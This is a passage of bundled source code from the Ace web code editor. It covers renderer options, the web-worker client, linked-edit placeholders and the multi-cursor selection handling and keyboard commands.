_self._dispatchEvent('themeLoaded', {theme:module});
cb && cb();
}
};
this.getTheme = function() {
return this.$themeId;
};
this.setStyle = function(style, include) {
dom.setCssClass(this.container, style, include !== false);
};
this.unsetStyle = function(style) {
dom.removeCssClass(this.container, style);
};
this.setCursorStyle = function(style) {
if (this.scroller.style.cursor != style)
this.scroller.style.cursor = style;
};
this.setMouseCursor = function(cursorStyle) {
this.scroller.style.cursor = cursorStyle;
};
this.destroy = function() {
this.$textLayer.destroy();
this.$cursorLayer.destroy();
};
}).call(VirtualRenderer.prototype);
config.defineOptions(VirtualRenderer.prototype, "renderer", {
animatedScroll: {initialValue: false},
showInvisibles: {
set: function(value) {
if (this.$textLayer.setShowInvisibles(value))
this.$loop.schedule(this.CHANGE_TEXT);
},
initialValue: false
},
showPrintMargin: {
set: function() { this.$updatePrintMargin(); },
initialValue: true
},
printMarginColumn: {
set: function() { this.$updatePrintMargin(); },
initialValue: 80
},
printMargin: {
set: function(val) {
if (typeof val == "number")
this.$printMarginColumn = val;
this.$showPrintMargin = !!val;
this.$updatePrintMargin();
},
get: function() {
return this.$showPrintMargin && this.$printMarginColumn;
}
},
showGutter: {
set: function(show){
this.$gutter.style.display = show ? "block" : "none";
this.$loop.schedule(this.CHANGE_FULL);
this.onGutterResize();
},
initialValue: true
},
fadeFoldWidgets: {
set: function(show) {
dom.setCssClass(this.$gutter, "ace_fade-fold-widgets", show);
},
initialValue: false
},
showFoldWidgets: {
set: function(show) {this.$gutterLayer.setShowFoldWidgets(show);},
initialValue: true
},
showLineNumbers: {
set: function(show) {
this.$gutterLayer.setShowLineNumbers(show);
this.$loop.schedule(this.CHANGE_GUTTER);
},
initialValue: true
},
displayIndentGuides: {
set: function(show) {
if (this.$textLayer.setDisplayIndentGuides(show))
this.$loop.schedule(this.CHANGE_TEXT);
},
initialValue: true
},
highlightGutterLine: {
set: function(shouldHighlight) {
if (!this.$gutterLineHighlight) {
this.$gutterLineHighlight = dom.createElement("div");
this.$gutterLineHighlight.className = "ace_gutter-active-line";
this.$gutter.appendChild(this.$gutterLineHighlight);
return;
}
this.$gutterLineHighlight.style.display = shouldHighlight ? "" : "none";
if (this.$cursorLayer.$pixelPos)
this.$updateGutterLineHighlight();
},
initialValue: false,
value: true
},
hScrollBarAlwaysVisible: {
set: function(val) {
if (!this.$hScrollBarAlwaysVisible || !this.$horizScroll)
this.$loop.schedule(this.CHANGE_SCROLL);
},
initialValue: false
},
vScrollBarAlwaysVisible: {
set: function(val) {
if (!this.$vScrollBarAlwaysVisible || !this.$vScroll)
this.$loop.schedule(this.CHANGE_SCROLL);
},
initialValue: false
},
fontSize: {
set: function(size) {
if (typeof size == "number")
size = size + "px";
this.container.style.fontSize = size;
this.updateFontSize();
},
initialValue: 12
},
fontFamily: {
set: function(name) {
this.container.style.fontFamily = name;
this.updateFontSize();
}
},
maxLines: {
set: function(val) {
this.updateFull();
}
},
minLines: {
set: function(val) {
this.updateFull();
}
},
maxPixelHeight: {
set: function(val) {
this.updateFull();
},
initialValue: 0
},
scrollPastEnd: {
set: function(val) {
val = +val || 0;
if (this.$scrollPastEnd == val)
return;
this.$scrollPastEnd = val;
this.$loop.schedule(this.CHANGE_SCROLL);
},
initialValue: 0,
handlesSet: true
},
fixedWidthGutter: {
set: function(val) {
this.$gutterLayer.$fixedWidth = !!val;
this.$loop.schedule(this.CHANGE_GUTTER);
}
},
theme: {
set: function(val) { this.setTheme(val); },
get: function() { return this.$themeId || this.theme; },
initialValue: "./theme/textmate",
handlesSet: true
}
});
exports.VirtualRenderer = VirtualRenderer;
});
ace.define("ace/worker/worker_client",["require","exports","module","ace/lib/oop","ace/lib/net","ace/lib/event_emitter","ace/config"], function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var net = require("../lib/net");
var EventEmitter = require("../lib/event_emitter").EventEmitter;
var config = require("../config");
function $workerBlob(workerUrl) {
var script = "importScripts('" + net.qualifyURL(workerUrl) + "');";
try {
return new Blob([script], {"type": "application/javascript"});
} catch (e) { // Backwards-compatibility
var BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder;
var blobBuilder = new BlobBuilder();
blobBuilder.append(script);
return blobBuilder.getBlob("application/javascript");
}
}
function createWorker(workerUrl) {
var blob = $workerBlob(workerUrl);
var URL = window.URL || window.webkitURL;
var blobURL = URL.createObjectURL(blob);
return new Worker(blobURL);
}
var WorkerClient = function(topLevelNamespaces, mod, classname, workerUrl, importScripts) {
this.$sendDeltaQueue = this.$sendDeltaQueue.bind(this);
this.changeListener = this.changeListener.bind(this);
this.onMessage = this.onMessage.bind(this);
if (require.nameToUrl && !require.toUrl)
require.toUrl = require.nameToUrl;
if (config.get("packaged") || !require.toUrl) {
workerUrl = workerUrl || config.moduleUrl(mod, "worker");
} else {
var normalizePath = this.$normalizePath;
workerUrl = workerUrl || normalizePath(require.toUrl("ace/worker/worker.js", null, "_"));
var tlns = {};
topLevelNamespaces.forEach(function(ns) {
tlns[ns] = normalizePath(require.toUrl(ns, null, "_").replace(/(\.js)?(\?.*)?$/, ""));
});
}
this.$worker = createWorker(workerUrl);
if (importScripts) {
this.send("importScripts", importScripts);
}
this.$worker.postMessage({
init : true,
tlns : tlns,
module : mod,
classname : classname
});
this.callbackId = 1;
this.callbacks = {};
this.$worker.onmessage = this.onMessage;
};
(function(){
oop.implement(this, EventEmitter);
this.onMessage = function(e) {
var msg = e.data;
switch (msg.type) {
case "event":
this._signal(msg.name, {data: msg.data});
break;
case "call":
var callback = this.callbacks[msg.id];
if (callback) {
callback(msg.data);
delete this.callbacks[msg.id];
}
break;
case "error":
this.reportError(msg.data);
break;
case "log":
window.console && console.log && console.log.apply(console, msg.data);
break;
}
};
this.reportError = function(err) {
window.console && console.error && console.error(err);
};
this.$normalizePath = function(path) {
return net.qualifyURL(path);
};
this.terminate = function() {
this._signal("terminate", {});
this.deltaQueue = null;
this.$worker.terminate();
this.$worker = null;
if (this.$doc)
this.$doc.off("change", this.changeListener);
this.$doc = null;
};
this.send = function(cmd, args) {
this.$worker.postMessage({command: cmd, args: args});
};
this.call = function(cmd, args, callback) {
if (callback) {
var id = this.callbackId++;
this.callbacks[id] = callback;
args.push(id);
}
this.send(cmd, args);
};
this.emit = function(event, data) {
try {
this.$worker.postMessage({event: event, data: {data: data.data}});
}
catch(ex) {
console.error(ex.stack);
}
};
this.attachToDocument = function(doc) {
if (this.$doc)
this.terminate();
this.$doc = doc;
this.call("setValue", [doc.getValue()]);
doc.on("change", this.changeListener);
};
this.changeListener = function(delta) {
if (!this.deltaQueue) {
this.deltaQueue = [];
setTimeout(this.$sendDeltaQueue, 0);
}
if (delta.action == "insert")
this.deltaQueue.push(delta.start, delta.lines);
else
this.deltaQueue.push(delta.start, delta.end);
};
this.$sendDeltaQueue = function() {
var q = this.deltaQueue;
if (!q) return;
this.deltaQueue = null;
if (q.length > 50 && q.length > this.$doc.getLength() >> 1) {
this.call("setValue", [this.$doc.getValue()]);
} else
this.emit("change", {data: q});
};
}).call(WorkerClient.prototype);
var UIWorkerClient = function(topLevelNamespaces, mod, classname) {
this.$sendDeltaQueue = this.$sendDeltaQueue.bind(this);
this.changeListener = this.changeListener.bind(this);
this.callbackId = 1;
this.callbacks = {};
this.messageBuffer = [];
var main = null;
var emitSync = false;
var sender = Object.create(EventEmitter);
var _self = this;
this.$worker = {};
this.$worker.terminate = function() {};
this.$worker.postMessage = function(e) {
_self.messageBuffer.push(e);
if (main) {
if (emitSync)
setTimeout(processNext);
else
processNext();
}
};
this.setEmitSync = function(val) { emitSync = val; };
var processNext = function() {
var msg = _self.messageBuffer.shift();
if (msg.command)
main[msg.command].apply(main, msg.args);
else if (msg.event)
sender._signal(msg.event, msg.data);
};
sender.postMessage = function(msg) {
_self.onMessage({data: msg});
};
sender.callback = function(data, callbackId) {
this.postMessage({type: "call", id: callbackId, data: data});
};
sender.emit = function(name, data) {
this.postMessage({type: "event", name: name, data: data});
};
config.loadModule(["worker", mod], function(Main) {
main = new Main[classname](sender);
while (_self.messageBuffer.length)
processNext();
});
};
UIWorkerClient.prototype = WorkerClient.prototype;
exports.UIWorkerClient = UIWorkerClient;
exports.WorkerClient = WorkerClient;
exports.createWorker = createWorker;
});
ace.define("ace/placeholder",["require","exports","module","ace/range","ace/lib/event_emitter","ace/lib/oop"], function(require, exports, module) {
"use strict";
var Range = require("./range").Range;
var EventEmitter = require("./lib/event_emitter").EventEmitter;
var oop = require("./lib/oop");
var PlaceHolder = function(session, length, pos, others, mainClass, othersClass) {
var _self = this;
this.length = length;
this.session = session;
this.doc = session.getDocument();
this.mainClass = mainClass;
this.othersClass = othersClass;
this.$onUpdate = this.onUpdate.bind(this);
this.doc.on("change", this.$onUpdate);
this.$others = others;
this.$onCursorChange = function() {
setTimeout(function() {
_self.onCursorChange();
});
};
this.$pos = pos;
var undoStack = session.getUndoManager().$undoStack || session.getUndoManager().$undostack || {length: -1};
this.$undoStackDepth = undoStack.length;
this.setup();
session.selection.on("changeCursor", this.$onCursorChange);
};
(function() {
oop.implement(this, EventEmitter);
this.setup = function() {
var _self = this;
var doc = this.doc;
var session = this.session;
this.selectionBefore = session.selection.toJSON();
if (session.selection.inMultiSelectMode)
session.selection.toSingleRange();
this.pos = doc.createAnchor(this.$pos.row, this.$pos.column);
var pos = this.pos;
pos.$insertRight = true;
pos.detach();
pos.markerId = session.addMarker(new Range(pos.row, pos.column, pos.row, pos.column + this.length), this.mainClass, null, false);
this.others = [];
this.$others.forEach(function(other) {
var anchor = doc.createAnchor(other.row, other.column);
anchor.$insertRight = true;
anchor.detach();
_self.others.push(anchor);
});
session.setUndoSelect(false);
};
this.showOtherMarkers = function() {
if (this.othersActive) return;
var session = this.session;
var _self = this;
this.othersActive = true;
this.others.forEach(function(anchor) {
anchor.markerId = session.addMarker(new Range(anchor.row, anchor.column, anchor.row, anchor.column+_self.length), _self.othersClass, null, false);
});
};
this.hideOtherMarkers = function() {
if (!this.othersActive) return;
this.othersActive = false;
for (var i = 0; i < this.others.length; i++) {
this.session.removeMarker(this.others[i].markerId);
}
};
this.onUpdate = function(delta) {
if (this.$updating)
return this.updateAnchors(delta);
var range = delta;
if (range.start.row !== range.end.row) return;
if (range.start.row !== this.pos.row) return;
this.$updating = true;
var lengthDiff = delta.action === "insert" ? range.end.column - range.start.column : range.start.column - range.end.column;
var inMainRange = range.start.column >= this.pos.column && range.start.column <= this.pos.column + this.length + 1;
var distanceFromStart = range.start.column - this.pos.column;
this.updateAnchors(delta);
if (inMainRange)
this.length += lengthDiff;
if (inMainRange && !this.session.$fromUndo) {
if (delta.action === 'insert') {
for (var i = this.others.length - 1; i >= 0; i--) {
var otherPos = this.others[i];
var newPos = {row: otherPos.row, column: otherPos.column + distanceFromStart};
this.doc.insertMergedLines(newPos, delta.lines);
}
} else if (delta.action === 'remove') {
for (var i = this.others.length - 1; i >= 0; i--) {
var otherPos = this.others[i];
var newPos = {row: otherPos.row, column: otherPos.column + distanceFromStart};
this.doc.remove(new Range(newPos.row, newPos.column, newPos.row, newPos.column - lengthDiff));
}
}
}
this.$updating = false;
this.updateMarkers();
};
this.updateAnchors = function(delta) {
this.pos.onChange(delta);
for (var i = this.others.length; i--;)
this.others[i].onChange(delta);
this.updateMarkers();
};
this.updateMarkers = function() {
if (this.$updating)
return;
var _self = this;
var session = this.session;
var updateMarker = function(pos, className) {
session.removeMarker(pos.markerId);
pos.markerId = session.addMarker(new Range(pos.row, pos.column, pos.row, pos.column+_self.length), className, null, false);
};
updateMarker(this.pos, this.mainClass);
for (var i = this.others.length; i--;)
updateMarker(this.others[i], this.othersClass);
};
this.onCursorChange = function(event) {
if (this.$updating || !this.session) return;
var pos = this.session.selection.getCursor();
if (pos.row === this.pos.row && pos.column >= this.pos.column && pos.column <= this.pos.column + this.length) {
this.showOtherMarkers();
this._emit("cursorEnter", event);
} else {
this.hideOtherMarkers();
this._emit("cursorLeave", event);
}
};
this.detach = function() {
this.session.removeMarker(this.pos && this.pos.markerId);
this.hideOtherMarkers();
this.doc.removeEventListener("change", this.$onUpdate);
this.session.selection.removeEventListener("changeCursor", this.$onCursorChange);
this.session.setUndoSelect(true);
this.session = null;
};
this.cancel = function() {
if (this.$undoStackDepth === -1)
return;
var undoManager = this.session.getUndoManager();
var undosRequired = (undoManager.$undoStack || undoManager.$undostack).length - this.$undoStackDepth;
for (var i = 0; i < undosRequired; i++) {
undoManager.undo(true);
}
if (this.selectionBefore)
this.session.selection.fromJSON(this.selectionBefore);
};
}).call(PlaceHolder.prototype);
exports.PlaceHolder = PlaceHolder;
});
ace.define("ace/mouse/multi_select_handler",["require","exports","module","ace/lib/event","ace/lib/useragent"], function(require, exports, module) {
var event = require("../lib/event");
var useragent = require("../lib/useragent");
function isSamePoint(p1, p2) {
return p1.row == p2.row && p1.column == p2.column;
}
function onMouseDown(e) {
var ev = e.domEvent;
var alt = ev.altKey;
var shift = ev.shiftKey;
var ctrl = ev.ctrlKey;
var accel = e.getAccelKey();
var button = e.getButton();
if (ctrl && useragent.isMac)
button = ev.button;
if (e.editor.inMultiSelectMode && button == 2) {
e.editor.textInput.onContextMenu(e.domEvent);
return;
}
if (!ctrl && !alt && !accel) {
if (button === 0 && e.editor.inMultiSelectMode)
e.editor.exitMultiSelectMode();
return;
}
if (button !== 0)
return;
var editor = e.editor;
var selection = editor.selection;
var isMultiSelect = editor.inMultiSelectMode;
var pos = e.getDocumentPosition();
var cursor = selection.getCursor();
var inSelection = e.inSelection() || (selection.isEmpty() && isSamePoint(pos, cursor));
var mouseX = e.x, mouseY = e.y;
var onMouseSelection = function(e) {
mouseX = e.clientX;
mouseY = e.clientY;
};
var session = editor.session;
var screenAnchor = editor.renderer.pixelToScreenCoordinates(mouseX, mouseY);
var screenCursor = screenAnchor;
var selectionMode;
if (editor.$mouseHandler.$enableJumpToDef) {
if (ctrl && alt || accel && alt)
selectionMode = shift ? "block" : "add";
else if (alt && editor.$blockSelectEnabled)
selectionMode = "block";
} else {
if (accel && !alt) {
selectionMode = "add";
if (!isMultiSelect && shift)
return;
} else if (alt && editor.$blockSelectEnabled) {
selectionMode = "block";
}
}
if (selectionMode && useragent.isMac && ev.ctrlKey) {
editor.$mouseHandler.cancelContextMenu();
}
if (selectionMode == "add") {
if (!isMultiSelect && inSelection)
return; // dragging
if (!isMultiSelect) {
var range = selection.toOrientedRange();
editor.addSelectionMarker(range);
}
var oldRange = selection.rangeList.rangeAtPoint(pos);
editor.$blockScrolling++;
editor.inVirtualSelectionMode = true;
if (shift) {
oldRange = null;
range = selection.ranges[0] || range;
editor.removeSelectionMarker(range);
}
editor.once("mouseup", function() {
var tmpSel = selection.toOrientedRange();
if (oldRange && tmpSel.isEmpty() && isSamePoint(oldRange.cursor, tmpSel.cursor))
selection.substractPoint(tmpSel.cursor);
else {
if (shift) {
selection.substractPoint(range.cursor);
} else if (range) {
editor.removeSelectionMarker(range);
selection.addRange(range);
}
selection.addRange(tmpSel);
}
editor.$blockScrolling--;
editor.inVirtualSelectionMode = false;
});
} else if (selectionMode == "block") {
e.stop();
editor.inVirtualSelectionMode = true;
var initialRange;
var rectSel = [];
var blockSelect = function() {
var newCursor = editor.renderer.pixelToScreenCoordinates(mouseX, mouseY);
var cursor = session.screenToDocumentPosition(newCursor.row, newCursor.column, newCursor.offsetX);
if (isSamePoint(screenCursor, newCursor) && isSamePoint(cursor, selection.lead))
return;
screenCursor = newCursor;
editor.$blockScrolling++;
editor.selection.moveToPosition(cursor);
editor.renderer.scrollCursorIntoView();
editor.removeSelectionMarkers(rectSel);
rectSel = selection.rectangularRangeBlock(screenCursor, screenAnchor);
if (editor.$mouseHandler.$clickSelection && rectSel.length == 1 && rectSel[0].isEmpty())
rectSel[0] = editor.$mouseHandler.$clickSelection.clone();
rectSel.forEach(editor.addSelectionMarker, editor);
editor.updateSelectionMarkers();
editor.$blockScrolling--;
};
editor.$blockScrolling++;
if (isMultiSelect && !accel) {
selection.toSingleRange();
} else if (!isMultiSelect && accel) {
initialRange = selection.toOrientedRange();
editor.addSelectionMarker(initialRange);
}
if (shift)
screenAnchor = session.documentToScreenPosition(selection.lead);
else
selection.moveToPosition(pos);
editor.$blockScrolling--;
screenCursor = {row: -1, column: -1};
var onMouseSelectionEnd = function(e) {
clearInterval(timerId);
editor.removeSelectionMarkers(rectSel);
if (!rectSel.length)
rectSel = [selection.toOrientedRange()];
editor.$blockScrolling++;
if (initialRange) {
editor.removeSelectionMarker(initialRange);
selection.toSingleRange(initialRange);
}
for (var i = 0; i < rectSel.length; i++)
selection.addRange(rectSel[i]);
editor.inVirtualSelectionMode = false;
editor.$mouseHandler.$clickSelection = null;
editor.$blockScrolling--;
};
var onSelectionInterval = blockSelect;
event.capture(editor.container, onMouseSelection, onMouseSelectionEnd);
var timerId = setInterval(function() {onSelectionInterval();}, 20);
return e.preventDefault();
}
}
exports.onMouseDown = onMouseDown;
});
ace.define("ace/commands/multi_select_commands",["require","exports","module","ace/keyboard/hash_handler"], function(require, exports, module) {
exports.defaultCommands = [{
name: "addCursorAbove",
exec: function(editor) { editor.selectMoreLines(-1); },
bindKey: {win: "Ctrl-Alt-Up", mac: "Ctrl-Alt-Up"},
scrollIntoView: "cursor",
readOnly: true
}, {
name: "addCursorBelow",
exec: function(editor) { editor.selectMoreLines(1); },
bindKey: {win: "Ctrl-Alt-Down", mac: "Ctrl-Alt-Down"},
scrollIntoView: "cursor",
readOnly: true
}, {
name: "addCursorAboveSkipCurrent",
exec: function(editor) { editor.selectMoreLines(-1, true); },
bindKey: {win: "Ctrl-Alt-Shift-Up", mac: "Ctrl-Alt-Shift-Up"},
scrollIntoView: "cursor",
readOnly: true
}, {
name: "addCursorBelowSkipCurrent",
exec: function(editor) { editor.selectMoreLines(1, true); },
bindKey: {win: "Ctrl-Alt-Shift-Down", mac: "Ctrl-Alt-Shift-Down"},
scrollIntoView: "cursor",
readOnly: true
}, {
name: "selectMoreBefore",
exec: function(editor) { editor.selectMore(-1); },
bindKey: {win: "Ctrl-Alt-Left", mac: "Ctrl-Alt-Left"},
scrollIntoView: "cursor",
readOnly: true
}, {
name: "selectMoreAfter",
exec: function(editor) { editor.selectMore(1); },
bindKey: {win: "Ctrl-Alt-Right", mac: "Ctrl-Alt-Right"},
scrollIntoView: "cursor",
readOnly: true
}, {
name: "selectNextBefore",
exec: function(editor) { editor.selectMore(-1, true); },
bindKey: {win: "Ctrl-Alt-Shift-Left", mac: "Ctrl-Alt-Shift-Left"},
scrollIntoView: "cursor",
readOnly: true
}, {
name: "selectNextAfter",
exec: function(editor) { editor.selectMore(1, true); },
bindKey: {win: "Ctrl-Alt-Shift-Right", mac: "Ctrl-Alt-Shift-Right"},
scrollIntoView: "cursor",
readOnly: true
}, {
name: "splitIntoLines",
exec: function(editor) { editor.multiSelect.splitIntoLines(); },
bindKey: {win: "Ctrl-Alt-L", mac: "Ctrl-Alt-L"},
readOnly: true
}, {
name: "alignCursors",
exec: function(editor) { editor.alignCursors(); },
bindKey: {win: "Ctrl-Alt-A", mac: "Ctrl-Alt-A"},
scrollIntoView: "cursor"
}, {
name: "findAll",
exec: function(editor) { editor.findAll(); },
bindKey: {win: "Ctrl-Alt-K", mac: "Ctrl-Alt-G"},
scrollIntoView: "cursor",
readOnly: true
}];
exports.multiSelectCommands = [{
name: "singleSelection",
bindKey: "esc",
exec: function(editor) { editor.exitMultiSelectMode(); },
scrollIntoView: "cursor",
readOnly: true,
isAvailable: function(editor) {return editor && editor.inMultiSelectMode;}
}];
var HashHandler = require("../keyboard/hash_handler").HashHandler;
exports.keyboardHandler = new HashHandler(exports.multiSelectCommands);
});
ace.define("ace/multi_select",["require","exports","module","ace/range_list","ace/range","ace/selection","ace/mouse/multi_select_handler","ace/lib/event","ace/lib/lang","ace/commands/multi_select_commands","ace/search","ace/edit_session","ace/editor","ace/config"], function(require, exports, module) {
var RangeList = require("./range_list").RangeList;
var Range = require("./range").Range;
var Selection = require("./selection").Selection;
var onMouseDown = require("./mouse/multi_select_handler").onMouseDown;
var event = require("./lib/event");
var lang = require("./lib/lang");
var commands = require("./commands/multi_select_commands");
exports.commands = commands.defaultCommands.concat(commands.multiSelectCommands);
var Search = require("./search").Search;
var search = new Search();
function find(session, needle, dir) {
search.$options.wrap = true;
search.$options.needle = needle;
search.$options.backwards = dir == -1;
return search.find(session);
}
var EditSession = require("./edit_session").EditSession;
(function() {
this.getSelectionMarkers = function() {
return this.$selectionMarkers;
};
}).call(EditSession.prototype);
(function() {
this.ranges = null;
this.rangeList = null;
this.addRange = function(range, $blockChangeEvents) {
if (!range)
return;
if (!this.inMultiSelectMode && this.rangeCount === 0) {
var oldRange = this.toOrientedRange();
this.rangeList.add(oldRange);
this.rangeList.add(range);
if (this.rangeList.ranges.length != 2) {
this.rangeList.removeAll();
return $blockChangeEvents || this.fromOrientedRange(range);
}
this.rangeList.removeAll();
this.rangeList.add(oldRange);
this.$onAddRange(oldRange);
}
if (!range.cursor)
range.cursor = range.end;
var removed = this.rangeList.add(range);
this.$onAddRange(range);
if (removed.length)
this.$onRemoveRange(removed);
if (this.rangeCount > 1 && !this.inMultiSelectMode) {
this._signal("multiSelect");
this.inMultiSelectMode = true;
this.session.$undoSelect = false;
this.rangeList.attach(this.session);
}
return $blockChangeEvents || this.fromOrientedRange(range);
};
this.toSingleRange = function(range) {
range = range || this.ranges[0];
var removed = this.rangeList.removeAll();
if (removed.length)
this.$onRemoveRange(removed);
range && this.fromOrientedRange(range);
};
this.substractPoint = function(pos) {
var removed = this.rangeList.substractPoint(pos);
if (removed) {
this.$onRemoveRange(removed);
return removed[0];
}
};
this.mergeOverlappingRanges = function() {
var removed = this.rangeList.merge();
if (removed.length)
this.$onRemoveRange(removed);
else if(this.ranges[0])
this.fromOrientedRange(this.ranges[0]);
};
this.$onAddRange = function(range) {
this.rangeCount = this.rangeList.ranges.length;
this.ranges.unshift(range);
this._signal("addRange", {range: range});
};
this.$onRemoveRange = function(removed) {
this.rangeCount = this.rangeList.ranges.length;
if (this.rangeCount == 1 && this.inMultiSelectMode) {
var lastRange = this.rangeList.ranges.pop();
removed.push(lastRange);
this.rangeCount = 0;
}
for (var i = removed.length; i--; ) {
var index = this.ranges.indexOf(removed[i]);
this.ranges.splice(index, 1);
}
this._signal("removeRange", {ranges: removed});
if (this.rangeCount === 0 && this.inMultiSelectMode) {
this.inMultiSelectMode = false;
this._signal("singleSelect");
this.session.$undoSelect = true;
this.rangeList.detach(this.session);
}
lastRange = lastRange || this.ranges[0];
if (lastRange && !lastRange.isEqual(this.getRange()))
this.fromOrientedRange(lastRange);
};
this.$initRangeList = function() {
if (this.rangeList)
return;
this.rangeList = new RangeList();
this.ranges = [];
this.rangeCount = 0;
};
this.getAllRanges = function() {
return this.rangeCount ? this.rangeList.ranges.concat() : [this.getRange()];
};
this.splitIntoLines = function () {
if (this.rangeCount > 1) {
var ranges = this.rangeList.ranges;
var lastRange = ranges[ranges.length - 1];
var range = Range.fromPoints(ranges[0].start, lastRange.end);
this.toSingleRange();
this.setSelectionRange(range, lastRange.cursor == lastRange.start);
} else {
var range = this.getRange();
var isBackwards = this.isBackwards();
var startRow = range.start.row;
var endRow = range.end.row;
if (startRow == endRow) {
if (isBackwards)
var start = range.end, end = range.start;
else
var start = range.start, end = range.end;
this.addRange(Range.fromPoints(end, end));
this.addRange(Range.fromPoints(start, start));
return;
}
var rectSel = [];
var r = this.getLineRange(startRow, true);
r.start.column = range.start.column;
rectSel.push(r);
for (var i = startRow + 1; i < endRow; i++)
rectSel.push(this.getLineRange(i, true));
r = this.getLineRange(endRow, true);
r.end.column = range.end.column;
rectSel.push(r);
rectSel.forEach(this.addRange, this);
}
};
this.toggleBlockSelection = function () {
if (this.rangeCount > 1) {
var ranges = this.rangeList.ranges;
var lastRange = ranges[ranges.length - 1];
var range = Range.fromPoints(ranges[0].start, lastRange.end);
this.toSingleRange();
this.setSelectionRange(range, lastRange.cursor == lastRange.start);
} else {
var cursor = this.session.documentToScreenPosition(this.selectionLead);
var anchor = this.session.documentToScreenPosition(this.selectionAnchor);
var rectSel = this.rectangularRangeBlock(cursor, anchor);
rectSel.forEach(this.addRange, this);
}
};
this.rectangularRangeBlock = function(screenCursor, screenAnchor, includeEmptyLines) {
var rectSel = [];
var xBackwards = screenCursor.column < screenAnchor.column;
if (xBackwards) {
var startColumn = screenCursor.column;
var endColumn = screenAnchor.column;
var startOffsetX = screenCursor.offsetX;
var endOffsetX = screenAnchor.offsetX;
} else {
var startColumn = screenAnchor.column;
var endColumn = screenCursor.column;
var startOffsetX = screenAnchor.offsetX;
var endOffsetX = screenCursor.offsetX;
}
var yBackwards = screenCursor.row < screenAnchor.row;
if (yBackwards) {
var startRow = screenCursor.row;
var endRow = screenAnchor.row;
} else {
var startRow = screenAnchor.row;
var endRow = screenCursor.row;
}
if (startColumn < 0)
startColumn = 0;
if (startRow < 0)
startRow = 0;
if (startRow == endRow)
includeEmptyLines = true;
for (var row = startRow; row <= endRow; row++) {
var range = Range.fromPoints(
this.session.screenToDocumentPosition(row, startColumn, startOffsetX),
this.session.screenToDocumentPosition(row, endColumn, endOffsetX)
);
if (range.isEmpty()) {
if (docEnd && isSamePoint(range.end, docEnd))
break;
var docEnd = range.end;
}
range.cursor = xBackwards ? range.start : range.end;
rectSel.push(range);
}
if (yBackwards)
rectSel.reverse();
if (!includeEmptyLines) {
var end = rectSel.length - 1;
while (rectSel[end].isEmpty() && end > 0)
end--;
if (end > 0) {
var start = 0;
while (rectSel[start].isEmpty())
start++;
}
for (var i = end; i >= start; i--) {
if (rectSel[i].isEmpty())
rectSel.splice(i, 1);
}
}
return rectSel;
};
}).call(Selection.prototype);
var Editor = require("./editor").Editor;
(function() {
this.updateSelectionMarkers = function() {
this.renderer.updateCursor();
this.renderer.updateBackMarkers();
};
this.addSelectionMarker = function(orientedRange) {
if (!orientedRange.cursor)
orientedRange.cursor = orientedRange.end;
var style = this.getSelectionStyle();
orientedRange.marker = this.session.addMarker(orientedRange, "ace_selection", style);
this.session.$selectionMarkers.push(orientedRange);
this.session.selectionMarkerCount = this.session.$selectionMarkers.length;
return orientedRange;
};
this.removeSelectionMarker = function(range) {
if (!range.marker)
return;
this.session.removeMarker(range.marker);
var index = this.session.$selectionMarkers.indexOf(range);
if (index != -1)
this.session.$selectionMarkers.splice(index, 1);
this.session.selectionMarkerCount = this.session.$selectionMarkers.length;
};
this.removeSelectionMarkers = function(ranges) {
var markerList = this.session.$selectionMarkers;
for (var i = ranges.length; i--; ) {
var range = ranges[i];
if (!range.marker)
continue;
this.session.removeMarker(range.marker);
var index = markerList.indexOf(range);
if (index != -1)
markerList.splice(index, 1);
}
this.session.selectionMarkerCount = markerList.length;
};
this.$onAddRange = function(e) {
this.addSelectionMarker(e.range);
this.renderer.updateCursor();
this.renderer.updateBackMarkers();
};
this.$onRemoveRange = function(e) {
this.removeSelectionMarkers(e.ranges);
this.renderer.updateCursor();
this.renderer.updateBackMarkers();
};
this.$onMultiSelect = function(e) {
if (this.inMultiSelectMode)
return;
this.inMultiSelectMode = true;
this.setStyle("ace_multiselect");
this.keyBinding.addKeyboardHandler(commands.keyboardHandler);
this.commands.setDefaultHandler("exec", this.$onMultiSelectExec);
this.renderer.updateCursor();
this.renderer.updateBackMarkers();
};
this.$onSingleSelect = function(e) {
if (this.session.multiSelect.inVirtualMode)
return;
this.inMultiSelectMode = false;
this.unsetStyle("ace_multiselect");
this.keyBinding.removeKeyboardHandler(commands.keyboardHandler);
this.commands.removeDefaultHandler("exec", this.$onMultiSelectExec);
this.renderer.updateCursor();
this.renderer.updateBackMarkers();
this._emit("changeSelection");
};
this.$onMultiSelectExec = function(e) {
var command = e.command;
var editor = e.editor;
if (!editor.multiSelect)
return;
if (!command.multiSelectAction) {
var result = command.exec(editor, e.args || {});
editor.multiSelect.addRange(editor.multiSelect.toOrientedRange());
editor.multiSelect.mergeOverlappingRanges();
} else if (command.multiSelectAction == "forEach") {
result = editor.forEachSelection(command, e.args);
} else if (command.multiSelectAction == "forEachLine") {
result = editor.forEachSelection(command, e.args, true);
} else if (command.multiSelectAction == "single") {
editor.exitMultiSelectMode();
result = command.exec(editor, e.args || {});
} else {
result = command.multiSelectAction(editor, e.args || {});
}
return result;
};
this.forEachSelection = function(cmd, args, options) {
if (this.inVirtualSelectionMode)
return;
var keepOrder = options && options.keepOrder;
var $byLines = options == true || options && options.$byLines;
var session = this.session;
var selection = this.selection;
var rangeList = selection.rangeList;
var ranges = (keepOrder ? selection : rangeList).ranges;
var result;
if (!ranges.length)
return cmd.exec ? cmd.exec(this, args || {}) : cmd(this, args || {});
var reg = selection._eventRegistry;
selection._eventRegistry = {};
var tmpSel = new Selection(session);
this.inVirtualSelectionMode = true;
for (var i = ranges.length; i--;) {
if ($byLines) {
while (i > 0 && ranges[i].start.row == ranges[i - 1].end.row)
i--;
}
tmpSel.fromOrientedRange(ranges[i]);
tmpSel.index = i;
this.selection = session.selection = tmpSel;
var cmdResult = cmd.exec ? cmd.exec(this, args || {}) : cmd(this, args || {});
if (!result && cmdResult !== undefined)
result = cmdResult;
tmpSel.toOrientedRange(ranges[i]);
}
tmpSel.detach();
this.selection = session.selection = selection;
this.inVirtualSelectionMode = false;
selection._eventRegistry = reg;
selection.mergeOverlappingRanges();
var anim = this.renderer.$scrollAnimation;
this.onCursorChange();
this.onSelectionChange();
if (anim && anim.from == anim.to)
this.renderer.animateScrolling(anim.from);
return result;
};
this.exitMultiSelectMode = function() {
if (!this.inMultiSelectMode || this.inVirtualSelectionMode)
return;
this.multiSelect.toSingleRange();
};
this.getSelectedText = function() {
var text = "";
